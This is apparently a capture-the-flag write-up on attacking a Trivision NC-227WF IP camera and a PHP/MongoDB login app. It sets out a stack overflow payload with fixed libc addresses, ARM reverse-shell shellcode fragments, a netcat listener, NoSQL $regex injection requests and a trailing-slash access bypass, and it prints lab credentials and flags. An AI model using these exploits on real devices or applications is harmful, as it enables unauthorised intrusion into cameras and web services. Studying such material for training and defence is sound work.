Overview
An Insane-rated IoT exploitation challenge targeting a Trivision NC-227WF HD IP camera on ARMv5 architecture. The chain: port knocking via full nmap sweep, a stack-based buffer overflow in the camera’s embedded web server with custom ARM shellcode (bad character avoidance), credential harvesting from firmware, reading the flag from a live MJPEG camera feed, then NoSQL injection against a MongoDB-backed PHP app for the second key.
nmap -p- → ports 22, 8080, 23(filtered), 50628
↓
nmap full sweep accidentally triggers knockd → port 23 opens briefly
↓
Trivision NC-227WF buffer overflow (port 50628)
GET /en/login.asp?basic=[A×280][SLEEP][BX_SP][ARM_SHELLCODE]
↓
ARMv5 reverse shell → /var/etc/umconfig.txt → admin:Y3tiStarCur!ous
↓
Camera MJPEG stream → flag1: THM{YETI_ON_SCREEN_ELUSIVE_CAMERA_STAR}
↓
NoSQL injection (port 8080) → username[$regex]=.*
↓
yetikey2.txt: 2-K@bWJ5oHFCR8o%whAvK5qw8Sp$5qf!nCqGM3ksaKPort Scan & Camera Fingerprinting
$ sudo nmap -sV -sC -p- --open -T4 10.112.147.128| Port | Service | Version | Notes |
|---|---|---|---|
22/tcp | SSH | OpenSSH | Standard |
23/tcp | Telnet | — | Filtered — knockd protected |
8080/tcp | HTTP | PHP 8.1.26 | 403 on /login.php (trailing slash bypass) |
50628/tcp | HTTP | Trivision webs | IP camera — ARMv5 buffer overflow target |
Port 50628 serves the Trivision NC-227WF camera login — an embedded ARMv5 Linux device with a custom webs HTTP server. Port 8080 hosts a PHP/MongoDB app with a 403 bypass via trailing slash.
nmap Sweep Triggers knockd
Port 23 is protected by knockd. The knock sequence spans the full 65535-port range — but a full nmap scan (-p-) sequentially probes every port, accidentally triggering the knock sequence as it sweeps.
# Run nmap -p- in background, poll port 23 at ~0.3s intervals while True: s = socket.socket() s.settimeout(0.5) if s.connect_ex(("10.112.147.128", 23)) == 0: data = s.recv(4096) # banner with camera creds break time.sleep(0.3)
When the port briefly opens, the telnet banner delivers camera credentials from /var/etc/umconfig.txt.
ARMv5 Stack Buffer Overflow
The camera’s webs server has a stack-based buffer overflow in the basic= GET parameter of /en/login.asp. No ASLR on the device — library addresses are static.
| Register | Offset | Value |
|---|---|---|
r4 | 256 | Padding |
r10 | 280 | 0x4002EC54 — sleep() (libc) |
pc | 284 | 0x40010F88 — bx sp (libgcc_s) |
sp | 288 | Shellcode starts here |
[A × 280] [p32(0x4002EC54)] [p32(0x40010F88)] [ARM SHELLCODE]
sleep() in r10 bx sp → jump to stackARM shellcode implements a reverse TCP shell. IP/port bytes encoded with mov/lsl/add sequences to avoid bad characters:
mov r1, #0xBA ; 186 lsl r1, r1, #8 add r1, r1, #0x9E ; 158 lsl r1, r1, #8 add r1, r1, #0xA8 ; 168 lsl r1, r1, #8 add r1, r1, #0xC0 ; 192 str r1, [sp, #4] ; store in sockaddr struct
$ nc -lvnp 4444 Connection from 10.112.147.128 # cat /proc/cpuinfo | grep "CPU architecture" CPU architecture: 5TEJ (ARMv5) # cat /var/etc/umconfig.txt name=admin password=Y3tiStarCur!ous
Camera MJPEG Stream → Visual Flag
Login to the camera web interface at http://10.112.147.128:50628/en/login.asp with admin:Y3tiStarCur!ous. Navigate to the live MJPEG stream at /en/player/mjpeg_vga.asp — the camera is pointed at a display showing the flag:
MongoDB Auth Bypass → yetikey2.txt
Port 8080 serves a PHP/MongoDB login form. Direct access returns 403 — bypassed with a trailing slash: /login.php/.
s = requests.Session()
r = s.post("http://10.112.147.128:8080/login.php/",
data={
"username[$regex]": ".*",
"password[$regex]": ".*"
})
→ 302 redirect — authenticated
$ curl -b "PHPSESSID=<session>" http://10.112.147.128:8080/yetikey2.txt
2-K@bWJ5oHFCR8o%whAvK5qw8Sp$5qf!nCqGM3ksaKAttack Chain
nmap -p- triggers knockd sequence → port 23 opens → camera credentialsbasic= parameter → ROP: sleep() + bx sp → ARM reverse shell/var/etc/umconfig.txt → admin:Y3tiStarCur!ous$regex: .* auth bypass → 2-K@bWJ5oHFCR8o%whAvK5qw8Sp$5qf!nCqGM3ksaKVulnerabilities
| Finding | Location | Severity | Impact |
|---|---|---|---|
| Stack buffer overflow (no ASLR) | Camera webs server, basic= param | Critical | Remote code execution, root shell on IoT device |
NoSQL injection ($regex) | Port 8080 /login.php | Critical | Authentication bypass, arbitrary data access |
| Plaintext credentials in firmware | /var/etc/umconfig.txt | High | Camera admin password in cleartext |
| 403 bypass via trailing slash | Port 8080 nginx/Apache | High | Access restriction completely bypassed |
| Port knock sequence discoverable | knockd config | Medium | Full port scan triggers knock sequence in order |
Takeaways
$regex or $ne operators pass through unfiltered, any find() query can be bypassed. Use strict type checking on input.mov/lsl/add arithmetic sequences instead of embedding raw bytes. Avoids null, space, and other bad characters in shellcode.Tools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning, service enum, accidental port knock trigger |
pwntools | Cyclic pattern, offset calculation, payload construction |
custom ARM shellcode | ARMv5 reverse TCP shell with bad char avoidance |
netcat | Reverse shell listener |
python3 + requests | NoSQL injection, port polling, exploit delivery |
snowy_armageddon_auto.py | Full automated exploit chain |